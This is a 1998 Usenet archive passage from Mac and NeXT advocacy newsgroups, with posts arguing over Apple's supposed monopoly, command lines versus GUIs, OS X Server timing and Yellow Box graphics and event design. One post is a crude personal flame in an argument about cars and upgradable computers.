faster (and perhaps cheaper) than Apple's stuff. But the boxen than
Linux/PowerPC is selling are pure Tanzania (and overpriced, IMHO).
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 14 Sep 1998 06:25:17 GMT
Organization: I don't think so
Message-ID: <slrn6vpe07.sv.jason@jhste1.dyn.ml.org>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <joe.ragosta-1209981543220001@elk60.dol.net> <6tfns4$ci4$1@news5.ispnews.com> <joe.ragosta-1309980825580001@elk55.dol.net> <6ti31m$65o$1@news5.ispnews.com>
Earl Malmrose posted the following to comp.sys.mac.advocacy:
>>Be claims that they can't support PowerMac G3
>>systems because Apple won't give them what they need.
>Because they won't base their business on reverse engineering spec for
>systems.
Funny - every PC clone is based on reverse-engineering IBM's BIOS.
Worked for them...
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 14 Sep 1998 06:37:46 GMT
Organization: I don't think so
Message-ID: <slrn6vpenj.sv.jason@jhste1.dyn.ml.org>
References: <heaney-0509981648590001@24.0.246.137> <35F6D06C.562D8CEA@ericsson.com> <6t6te6$cpb@newsb.netnews.att.com> <35F702AF.BA9E9097@ericsson.com> <6t92f7$fhs@newsb.netnews.att.com> <35F822A8.2ECB2800@ericsson.com> <heaney-1009981959380001@24.0.246.137> <6tb9c1$q4m$1@nnrp02.primenet.com> <joe.ragosta-1109981035180001@wil123.dol.net> <6tbdr8$dbh$1@bunyip.cc.uq.edu.au> <35f940de.0@news.depaul.edu> <heaney-1109981251420001@24.0.246.137> <x7k93ay1ss.fsf@loathe.com> <jesse-ya02408000R1409981202210001@news.latrobe.edu.au>
Greg McPherson posted the following to comp.sys.mac.advocacy:
>Users start messing with all those UNIX text config files, get the system
>in a right proper mess.
If they have root access. Which they shouldn't have. As a regular
user, they can't "get the system in a right proper mess."
>I suck at UNIX.
At least you are willing to admit it.
>I know this because I've just spent 2 days trying to get a
>CD-ROM working under Linux, and delved into fstab, and a host of .conf
>files.
What are you trying to make it do?
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Followup-To: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 13 Sep 1998 21:44:17 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <6thebh$q8m$1@cronkite.cs.umd.edu>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net>
NNTP-Posting-Date: 13 Sep 1998 21:44:17 GMT
vapor (antwun@yahoo.com) wrote:
: smileyy@ix.netcom.com (Andrew McCormick) wrote:
: >Apple wouldn't even bother suing. They'd just break support for the OS
: >with each motherboard revision.
: Jesus, and they say Microsoft uses monopolistic tactics.
As Apple doesn't remotely have a monopoly on either operating systems or
motherboards, "monopolistic tactics" is somewhat far-fetched.
Sean Luke
seanl@cs.umd.edu
Date: Mon, 14 Sep 1998 13:28:54 +0100
From: christian.bau@isltd.insignia.com (Christian Bau)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Message-ID: <christian.bau-1409981328540001@christian-mac.isltd.insignia.com>
References: <6t6ruf$co8@newsb.netnews.att.com> <01bddd01$b8c70b40$a672fe8c@watts.67.acs.ohio-state.edu> <smileyy-1009981912370001@192.168.0.2> <01bddd14$2cca9400$a672fe8c@watts.67.acs.ohio-state.edu> <6tesr1$a32$1@morgoth.sfu.ca> <01bddec4$f28b1780$9d70fe8c@watts.67.acs.ohio-state.edu>
Organization: Insignia Solutions
Cache-Post-Path: proxy0.isltd.insignia.com!unknown@christian-mac.isltd.insignia.com
In article <01bddec4$f28b1780$9d70fe8c@watts.67.acs.ohio-state.edu>,
"Steve" <nospam@nospam!.kom> wrote:
> I was actually referring to total market share, rather than just the
> desktop computer market, (although that is certainly what I was focusing
> on). Which brings up the next point, if the market share for PPC embedded
> chips is increasing then they are probably gaining market share in that
> market. My primary point is that although private companies can survive
> with dwindling market share as long as they are still making a profit, its
> very rare for a publicly-traded company to do so. If you read stories in
> the papers about privately-held companies that are bought up by
> publicly-traded companies, there are almost always big layoffs and product
> discontinuations. This is because publicly-owned companies must please
> their stockholders. To please the stockholders, the value of the stock
> must continually increase. For the stock value to increase, you generally
> must have increasing market share.
Apple will surely listen to you and start producing black and white TVs.
Make 10,000 or so, give them away to anyone who wants one and have a 100%
market share. This is about twenty times better than Apples market share
in desktop and laptop computers, so Apple shares should go up to about
$700.
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu>
Subject: Re: What we need from Mac OSuX
Message-ID: <Eg8L1.1457$k5.1863590@newsfeed.slurp.net>
Date: Mon, 14 Sep 1998 05:45:43 +0100
NNTP-Posting-Date: Mon, 14 Sep 1998 07:48:36 CDT
Organization: Slurp News Feeds
Sean Luke wrote in message <6thebh$q8m$1@cronkite.cs.umd.edu>...
>: Jesus, and they say Microsoft uses monopolistic tactics.
>
>As Apple doesn't remotely have a monopoly on either operating systems or
>motherboards, "monopolistic tactics" is somewhat far-fetched.
Apple has a monopoly of the Mac market... just as MS and Intel have a
monopoly of the PC market.
Dan
From: "Brian Fitzgerald" <bfitz@acm.org>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: CLI crap (was Heidi on Heidi)
Date: Mon, 14 Sep 1998 3:11:50 -0700
Organization: Future Point
Message-ID: <01HW.B22239F60086883303996490@news.mindspring.com>
References: <heaney-0509981648590001@24.0.246.137> <35F6D06C.562D8CEA@ericsson.com> <6t6te6$cpb@newsb.netnews.att.com> <35F702AF.BA9E9097@ericsson.com> <6t92f7$fhs@newsb.netnews.att.com> <35F822A8.2ECB2800@ericsson.com> <heaney-1009981959380001@24.0.246.137> <6tb9tl$q4m$2@nnrp02.primenet.com> <heaney-1109981237170001@24.0.246.137> <35F96D7B.B1BFABA5@ericsson.com> <SCOTT.98Sep11155256@slave.doubleu.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
On Sat, 12 Sep 1998 10:39:27 -0700, Scott Hess wrote
(in message <SCOTT.98Sep11155256@slave.doubleu.com>):
> Automatic transmissions make cars easier to drive - but people who handle a
> manual transmission well can drive their car more efficiently. Should we
> forbid manual transmissions on the off chance that someone won't be able to
> drive a specific car? Should be forbid automatic transmissions in order to
> reduce fuel consumption?
According to my car enthusiast friends, modern automatic transmissions are as
good as a manual transmission in terms of getting power out of the car.
Now, I personally pick cars with manual transmissions. Why? Because I think
they are more fun. Do I want others to know how to shift? Not really. Someday
cars may not have manual transmission options. I will bitch a bit, then get on
with my life.
Now, my car enthusiast friends - they might freak out (will freak out).
Similarly, the only people "freaking" over lack of a CLI are the computer
enthusiasts who know how to use a CLI and are attached to it. I used to be one,
but ever since 1984 my interest in CLIs has dwindled, until today I get angry
when I am FORCED to use a CLI to do something.
Note: I trimmed out everything but advocacy from the headers.
--
Brian Fitzgerald
Future Point
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: Mon, 14 Sep 1998 12:47:17 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6tj38l$mmr$1@nnrp1.dejanews.com>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <35ec7a19.0@news.depaul.edu> <6sjdd8$am7$1@nnrp1.dejanews.com> <6tf372$2b0$2@ironhorse.plsys.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> My guess would be that we'll see 'X Server sometime before end October.
> Just because Apple isn't talking about it publicly doesn't mean it's not
> happening...
No doubt. But it might occur to Apple that people would like a teeny bit of
advance warning so they can plan accordingly.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: not@work.bum (BrTe)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 14 Sep 1998 04:34:33 -0700
Organization: home
Message-ID: <not-ya02408000R1409980434330001@news.colorado.edu>
References: <35F3FB6E.DBD5A2FE@nstar.net> <not-ya02408000R0709980301440001@news.colorado.edu> <6t0qnh$q0s$1@news4.wt.net> <not-ya02408000R0709981419430001@news.colorado.edu> <367454593A96A769.ED55763BD8C6F092.8B14831A23EF5E19@library-proxy.airnews.net> <not-ya02408000R0809982207430001@news.colorado.edu> <not-ya02408000R0809982240420001@news.colorado.edu> <994169DB0BEFDC2B.2FDF2A32C8D757DE.E5D07D7E652D2EF4@library-proxy.airnews.net> <goofin-0909981657490001@norln310mac15.colorado.edu> <35BA6D568ED44110.036CA6C9403483CD.A5733980BA607212@library-proxy.airnews.net>
Mime-Version: 1.0
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In article
<35BA6D568ED44110.036CA6C9403483CD.A5733980BA607212@library-proxy.airnews.ne
t>, nhughes@sunflower.com (nate) wrote:
> On Wed, 09 Sep 1998 16:57:49 -0600, goofin@work.com (BrTe) wrote:
>
> >In article
>
><994169DB0BEFDC2B.2FDF2A32C8D757DE.E5D07D7E652D2EF4@library-proxy.airnews.n
et>,
> >nhughes@sunflower.com (nate) wrote:
> >
> >
> >> I thought you said early 80's.
> >
> >Because you are an idiot who knows nothing about cars?
>
>
> No, you said early 80's, then had to find some way of covering you
> ignorant ass. That's pretty lame.
bhwahahahahahahahaha
What a moron! Anybody with the least knowledge of how to work a web
browser can look at Dejanews or something can tell immediately that you are
a lying bastard! To make your lie so blatant and out there, you'd have to
be the mst increadible flaming twit ever to poke his sorry ass into an
A-D-V-O-C-A-C-Y group of a plaform he doesn't even use to make himself feel
good!
Read my post again loser. I never said early 80's. I never said late
80's. I never said mid 80's. I said 80's. Say hello to my killfile hoser,
it's not worth arguing with a lying bastard. Go ahead and get your last
word in, you probably haven't felt like you've won something in a long
time. If you can cheaply whore your ass out by lying just to win a stupid
arguement, you need a little win. As far as I'm concerned, you're talking
to the hand, but you can just pretend.
BTW If you think comparing a 145 hp to 160 hp (rare) sports coup to a 400
hp muscle car makes you feel so much better, go right ahead. Just excuse me
for rolling around laughing my ass off at your ignorent pinhead
blitherings.
I bet you love racing Yugos to make yourself feel good. What's the
matter, can't take a real challange? Well, most likely not, otherwise you
wouldn't be hanging around here begging for an ego boost.
> BTW, I was a certified master technician for 10 years before I went
> back to college and allowed my ASE certification to expire. I
> specialized in Nissan, Mazda and GM.
Uh huh... That sounds very convincing. Let's see... made homebuilt computer
systems in high school... mechanic for 10 years... It takes 4 years for ASE
certification to expire iirc... Oh yeah... Sounds really convincing.
BTW a person with ASE certification would know how impressive it sounds
bring that up in this arguement (NOT!). I know what's involved, and let me
tell you, I'm very underwhelmed.
Nissan, Mazda, and GM... Now that makes sense (I will admit it's remotely
possible)... hehehehehe
> You and your magazine are way out of your league.
I wonder exactly what kind of league would let a lying idiot like you join.
[Blabbering deleted]
> >
> > Supra is, was, and will always be one of the most upgradable Japanese
> >sports cars on the planet... There are hoards of owner groups who get
>
> Its about as upgradeable as an imac.
Uh Huh... Got proof?
> >together to do this regularly. Ever look at a Bosch catalogue? There is
> >more stuff to upgrade a Supra than quite possibly an IROC... Most likely
> >there is more than available for a Mustang.
>
> Have a stroll through your local Performance shop.
Which ones? The ones that advertise for American cars like Mustangs? Or
the ones that advertise for foreign cars, including Supras? Most shops just
sell the clothes and the rims (or bodywork) anyway. You're telling me you
can't find any kits for Supras? Well you've convinced me! (NOT!)
> >
> >Umm, no. You can add multiprocessor daughter cards, video cards, extremely
> >powerful soundcards, etc. to almost any macs as well that will come back
> >and blow away your pc in turn. And you can do it with less trouble... Swap
>
> Wrong guess. Point out one or two of the G3 multiprocessor cards; if
Note I never mentioned G3...
> you find one, count the number of apps that will actually use more
> than 1 processor. Then point out the 32 meg video card which fits
> your mac. Then have a look here:
Duh... That's neeto... Care to show tests on the thing...? Not that I care.
It's impressive in numbers, and it's probably pretty good. But no reason
why something like that can't be made for a Mac soon AGP notwithstanding
(Yeah AGP is great, but 66 mhz PCI Buses are nowhere near saturation
anyway... and you can still make impressive cards for them that can take on
AGP cards). It's a good card from the specs, but that doesn't prove
anything.
> http://www.dell.com/smallbiz/products/ws610.htm
> It will break your heart.
BWHAHAHAHAHAHAHAHAHAHAHAHA!
$8,313! My God! You are insane! For that amount of money you could buy 3
300 mhz G3's and network them together as Linux boxes and beat that
system's ass probably... I don't know, I don't care! This is so riduculous!
> Once again, you are way out of your league.
I've realized that... I don't ever want to be mistaken as a part of your
Looney League. If I wanted to join you morons I'd have gotten my very own
do it yourself craniotomy kit.
> >in a card or two, and the mac doesn't even utter a peep. You get the pc
> >equivalent of the IROC engine bursting into flames occasionally on a pc...
> >So the mac is more upgradable.
>
> What an idiot.
Oh, and you've proven that so well! (NOT!)
>
> > Now the iMac on the other hand is less upgradable. But then it is a
> >completely different design philosophy. It has it's place, but it's
> >definately not for everybody.
>
> Designed for idiots, like you.
Uh huh... And at least I can put a PC together on my lunch break unlike
the genius that is you. hehehe
BTW I said I didn't want one, if you have a hard time reading at the 50
words per minute phonics level.
> >> >
> >> >February and April 1989 respectively for R&T and C&D once again.
> >> >
> >> >For those people who always demand references and yet can't seem to
be able
> >> >to provide their own.
Note you weren't able to provide one single relevant referance and seem to
love harping on "magazine" knowledge when I am only using it to back up
what I am saying... A little bit of doing any whoring thing just to feel
like you won something?
Date: Mon, 14 Sep 1998 10:04:41 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <joe.ragosta-1409981004420001@wil103.dol.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net>
In article <Eg8L1.1457$k5.1863590@newsfeed.slurp.net>, "Dan"
<dan@knowspaam.com> wrote:
> Sean Luke wrote in message <6thebh$q8m$1@cronkite.cs.umd.edu>...
>
> >: Jesus, and they say Microsoft uses monopolistic tactics.
> >
> >As Apple doesn't remotely have a monopoly on either operating systems or
> >motherboards, "monopolistic tactics" is somewhat far-fetched.
>
> Apple has a monopoly of the Mac market... just as MS and Intel have a
> monopoly of the PC market.
Which is a pretty silly argument.
Sure. Apple has a monopoly of the "Mac market".
Just like Compaq has a monopoly of the Compaq market. And Dell has a
monopoly of the Dell market. And so on.
You see--Macs are PCs. They're one brand of PCs and the manufacturer of
that brand is obviously going to be the only one who can make products
with that brand name. You're confusing trademarks with monopolies.
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <heaney-1409981027120001@24.0.246.137>
References: <B212F253-19875@206.165.43.49> <joe.ragosta-0209981709230001@wil78.dol.net> <B2132A13-45BC2@206.165.43.179> <EypqG4.4pI@T-FCN.Net> <6sn8a6$vae$1@nnrp1.snfc21.pbi.net> <6snl5a$pk85@odie.mcleod.net> <bsarpNOSPAM-0409980302490001@47.net10.nauticom.net> <6sp0b9$gvu1@odie.mcleod.net> <6sp3dj$8h2$1@nnrp02.primenet.com> <6srlni$crv$1@nnrp1.dejanews.com> <6ss1un$14c$1@nnrp03.primenet.com> <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <35F5888B.AE0C62FB@ericsson.com> <6t7l35$11t@news1.panix.com> <35F76C2D.69F42A67@nstar.net> <6tf2bt$g6b$1@news00.btx.dtag.de> <6tfi6o$1kn$1@nnrp4.snfc21.pbi.net>
Organization: Solid Object Software
Date: Mon, 14 Sep 1998 14:18:11 GMT
NNTP-Posting-Date: Mon, 14 Sep 1998 07:18:11 PDT
In article <6tfi6o$1kn$1@nnrp4.snfc21.pbi.net>, "William Edward Woody"
<woody@alumni.caltech.edu> wrote:
> Lars Träger wrote in message <6tf2bt$g6b$1@news00.btx.dtag.de>...
> >
> >Ever heard of faceless drag-and-drop apps?
>
> The problem with the faceless drag-and-drop app is that you
> cannot easily pipe the output of one to the input of another.
> Nor do you have the flexability of stringing them together
> using some form of script file. And developing droplets without
> a framework is a bitch.
You don't need faceless apps. The GUI itself is the standard interface in
combination with AppleEvents is the framework for stringing together
applications. The framework has been developed as represented by the
various macro and scripting utilities.
The standard I/O is the file system itself, which, BTW, is true of unix as
well. Unix also happens to have streams, which do not require a file name,
but that's a moot point. In the MacOS, you can set up macros that watch
folders. Drop something in there and a process is triggered. It doesn't
matter how the folder gets the file, whether it is put there by a user
dragging a file or whether it is put there by another application.
> Further, on the Macintosh, most solutions which provide some
> form of "filter" functionality do not permit you to write your
> "filter" as a complete and simple application. Developing a
> simple filter program under Unix is as simple as writing a
> program with simple I/O: no additional framework or
> environmental restrictions apply.
AppleScript does let you save a script as an executable (chmod -x). Also,
OneClick let's you save a script as a button in a floating palette, which
is an extension of the GUI, and all the macro utilities allow you to
attach a macro (script) to a key press.
> Beyond that, as there is no standard for "filter" applications,
> it's not easy to interchange between them. That is, it's
> not easy to use someone else's filter designed for another
> platform inside of your application. Nor is it easy to create
> an application that uses anyone's filter.
The GUI provides (or should provide) all that is necessary for an
interface for "filter" applications. We do not need separate applications
for "filter" vs "editors." The concept of a filter application is a
shortcut for programmers that don't want to take the time to add a bunch
of GUI stuff. However, all of the programming environments provide the
basis for the core GUI elements needed to create the basic needs of an
application. There are also many others available.
> While Unix doesn't necessarly solve the last one, it is
> true that command-line functions are relatively standardized
> in how they are invoked and run, and it's relatively easy
> to redirect a command-line application's I/O through your
> (higher level) GUI application.
Unix has simply been around longer and is more mature in this regard. The
AppleEvent mechanism has been around for a while and, since Apple made
support for the core events a requirement, has been becoming more widely
used with time. The Internet has also provided an impetus for developers
to support AppleEvents more and for users to be exposed to AppleScripts
more. Time heals all.
Having said all that, the power of batch processing is clearly not as
widely needed as everyone here seems to assume. The few applications that
need such power, have it. Most of the applications that need it, but don't
have it can have their needs met with the current macro and scripting
technologies. The few users that remain, whose needs are still not met,
already have access to a CLI (by and large).
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Followup-To: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 14 Sep 1998 14:25:25 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <6tj90l$dqf$1@cronkite.cs.umd.edu>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net>
NNTP-Posting-Date: 14 Sep 1998 14:25:25 GMT
Dan (dan@knowspaam.com) wrote:
: Sean Luke wrote in message <6thebh$q8m$1@cronkite.cs.umd.edu>...
: >: Jesus, and they say Microsoft uses monopolistic tactics.
: >
: >As Apple doesn't remotely have a monopoly on either operating systems or
: >motherboards, "monopolistic tactics" is somewhat far-fetched.
: Apple has a monopoly of the Mac market... just as MS and Intel have a
: monopoly of the PC market.
This is a redefinition of the term.
"Kia has a monopoly on the Kia market." no, wait...
"Utz Potato Chips has a monopoly on the Utz Potato Chip market." um...
"Steinway has a monopoly on the Steinway market." No, no, hang on...
"ABC has a monopoly on ABC marketshare."
There ya go.
Sean Luke
seanl@cs.umd.edu
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Mon, 14 Sep 1998 09:38:19 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35FD2A5B.B5B90EE5@nstar.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu>
Mime-Version: 1.0
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NNTP-Posting-Date: 14 Sep 1998 14:39:57 GMT
Sean Luke wrote:
> As Apple doesn't remotely have a monopoly on either operating systems or
> motherboards, "monopolistic tactics" is somewhat far-fetched.
Eastman Kodak never had a monopoly on copiers or on copier service. That
didn't stop the DoJ from trying them for a "tying" case on precisely the
same legal grounds as the current Microsoft case.
MJP
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Apple heading to obscurity?
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Cc: earl.malmrose@nospam.sierra.com
Organization: none
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<gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net>
<ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de>
<pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134>
<joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de>
<D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.404CD486@ericsson.com>
<6s2jb1$oqh@news1.panix.com> <slrn6u9p46.joh.jedi@dementia.mishnet>
<6s3vk3$9qo@news1.panix.com> <slrn6ucs3n.kbc.kevin@frobozz.sysexperts.com>
<6s6hco$30u@news1.panix.com> <slrn6ue1vs.q7o.kevin@frobozz.sysexperts.com>
<slrn6ue4qo.113.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <SCOTT.98Aug28143430@slave.doubleu.com>
<EyK6KM.843@T-FCN.Net> <6tbpra$gtb$1@plo.sierra.com>
Mime-Version: 1.0
Date: Mon, 14 Sep 1998 14:54:50 GMT
In <6tbpra$gtb$1@plo.sierra.com> "Earl Malmrose" wrote:
> Have you looked at <www.rockcity.net>?
Now I have, and I'm insulted. Do they really need "jiggly blondes" to sell
me a computer? Look at the picture on
http://www.rockcity.net/02news/02b-news.html for instance.
The web page didn't even work right, click on the mapped images and nothing
happens, the words were wrapper poorly so that some of the text didn't appear
on my browser, and some details pages were incomplete Heck, the machines
don't even come with monitors, and the monitors page is empty. Dead links
abound, there's no obvious feedback mailto: etc. I wouldn't trust them to
put my machine together.
This is not a "computer for the rest of us", it's the "computer for the
dumb of you that think if we put "kewl" on our web page you'll buy our
otherwise overpriced machines". As to the computer, this is truely in the
iMac class, form over function.
I fired them off a testy letter.
Back to the issue at hand, remember that the Station was a Unix box in the
early 1990's, it has features like 17" screens, 16bit colour, DSP, volume and
brightness controls on the keyboard etc. It has a single cable that runs
into the machine (power), and a single one out that breaks down as it goes
into the monitor, keyboard and finally mouse. In many respects it was the
iMac of it's day, but unlike the iMac, it's suitably advanced over other
offerings too.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Content-Type: text/plain; charset=us-ascii
Message-ID: <EzA604.KM7@T-FCN.Net>
Sender: news@T-FCN.Net
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Cc: english@primenet.com
Organization: none
References: <Ez2qB4.BxE@T-FCN.Net> <B21DD682-B005@206.165.43.189>
Mime-Version: 1.0
Date: Mon, 14 Sep 1998 15:36:04 GMT
In <B21DD682-B005@206.165.43.189> "Lawson English" wrote:
> It sounds to me like you'd have to split the NSCompositing system into
> three stages to achieve the same result.
It's two stage already, and I'm not convinced of the usefulness of the
third stage, aside from global issues like gamma or color correction.
> vectors, but for bitmaps, doing multiple passes and compositing off-screen
> would be time-consuming and potentially take up lots of memory
No, it's not. Direct counter evidence.
> can work with any-sized bitmap source image, even those defined as being
> disk-cached, without taking up any more memory, as far as I can tell).
Sooo for some reason you suggest that doing two passes is slower than
three? Or are you saying that because of the particular method of the
compositeToPoint call uses it will be slower? Clearly both are not an issue.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Content-Type: text/plain; charset=us-ascii
Message-ID: <EzA63t.Kox@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
Organization: none
References: <us5n286196j.fsf@kit.ai.mit.edu> <B2200D89-49D9F@206.165.43.62>
Mime-Version: 1.0
Date: Mon, 14 Sep 1998 15:38:17 GMT
In <B2200D89-49D9F@206.165.43.62> "Lawson English" wrote:
> What I meant is that there needs to be a way to
> *access* the process as a three-stage pipeline.
Why? How is it that a mapping function on the object doesn't do this
better anyway?
> I think that this would be a worthy addition to YB/Carbon graphics
It's what it does now.
> would help allow YB graphics apps to directly produce QuickTime
> Vector-compatible graphics (just avoid the optional processing) without
> needing to call the QuickTime API.
Back to this again I see.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Content-Type: text/plain; charset=us-ascii
Message-ID: <EzA66I.Kq6@T-FCN.Net>
Sender: news@T-FCN.Net
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Cc: english@primenet.com
Organization: none
References: <Ez2p40.BF6@T-FCN.Net> <B21D985A-660C0@206.165.43.113>
Mime-Version: 1.0
Date: Mon, 14 Sep 1998 15:39:52 GMT
In <B21D985A-660C0@206.165.43.113> "Lawson English" wrote:
> format. Is there a binary version of XML?
Yes, zip it.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
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Cc: quinlan@intergate.bc.ca
Organization: none
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27>
<6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com>
<6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net>
<6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net>
<6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net>
<6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net>
<6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net>
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<6t4hob$44s$1@nnrp1.dejanews.com> <EyzrrH.uF@T-FCN.Net>
<6t5dmd$de0$1@nnrp1.dejanews.com> <Ez0w7u.FIE@T-FCN.Net>
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<6t7rk8$s0p$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Date: Mon, 14 Sep 1998 15:44:40 GMT
In <6t7rk8$s0p$1@nnrp1.dejanews.com> quinlan@intergate.bc.ca wrote:
> In article <Ez1M1B.8u5@T-FCN.Net>,
> maury@remove_this.istar.ca (Maury Markowitz) wrote:
>
> I think that I have found a major difference in what we are arguing. I am
> arguing for better behavior while you are arguing for better behavior while
> preserving the current YB event handling strategies.
No, I'm arguing that we don't have to fix everything today, and minor
changes would result in major gains. That's it.
> I would send the event to the window not to the application so this
confusion
> would not be a problem.
That doesn't solve the problem at all, as unless the apps are partitioned
correctly you end up blocking anyway.
> Then the item changes.
How? The menu is already busy processing the mouse handing.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
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<6t7s3u$ssl$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Date: Mon, 14 Sep 1998 15:48:37 GMT
In <6t7s3u$ssl$1@nnrp1.dejanews.com> quinlan@intergate.bc.ca wrote:
> But I wouldn't have a main loop. I'd have a thread for the application and
a
> thread for each window.
